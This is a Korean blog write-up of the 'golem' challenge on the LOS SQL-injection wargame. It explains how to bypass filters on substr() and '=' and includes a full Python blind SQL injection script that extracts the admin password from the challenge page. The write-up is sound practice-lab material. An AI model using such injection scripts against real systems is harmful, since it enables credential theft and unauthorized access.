LOS - golem
2020. 5. 5. 21:07ㆍWeb
id='guest' and pw='' 를 false로 바꾸고 id를 admin 그리고 blind sql injection으로 비밀번호를 알아내는 문제이다.
substr()이 차단되었고 = 이 차단되었다.
각자 대체할 수 있는 것은
substr : left(), mid(), right() 함수 들이고
= : like 으로 대체할 수 있다.
left(pw,3) 일때 pw가 abcde라면 abc가 리턴된다. 따라서 이걸 right(left(pw,3),1) 이런 식으로 사용하면 substr(pw,3,1) 과 같은 효과이다.
이를 참고하여 파이썬 코드를 짜 보았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
import requests
cookies = {
"PHPSESSID" : "나의 PHPSESSID"
}
i = 1
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
pw = ""
while True:
payload = "?pw=aaa\' || id like %27admin%27 %26%26 length(pw) like %27"+str(i)
res = requests.get(url=url+payload,cookies=cookies);
if "Hello admin" in res.text:
print("length of pw = %d" %i)
for j in range(1,i+1):
print("\npw : "+pw)
for k in range(33,127):
payload = "?pw=aaa\' || id like \'admin\' %26%26 right(left(pw,"+str(j)+"),1) like \'"+chr(k)
# left(pw,j) like pw+chr(k)
print("%c" %chr(k),end="")
res = requests.get(url=url+payload,cookies=cookies)
if "Hello admin" in res.text:
pw += chr(k)
break
break
else :
print("%d" %i)
i+=1
print("pw : "+pw)
|
cs |
뒤 처럼 pw를 구할 수 있었다 (77D6290B)
하지만 그동안의 문제들처럼 대문자 소문자가 다를 수 있다.
그런데 그동안 blind sql injection 으로 구한 비밀번호들의 알파벳은 모두 소문자인걸로 봐서
LOS에서 구한 pw는 소문자가 국룰인가 보다.
'Web' 카테고리의 다른 글
LOS - bugbear (0) | 2020.05.06 |
---|---|
LOS - darkknight (0) | 2020.05.05 |
LOS - skeleton (0) | 2020.05.05 |
LOS - vampire (0) | 2020.05.05 |
LOS - troll (1) | 2020.05.05 |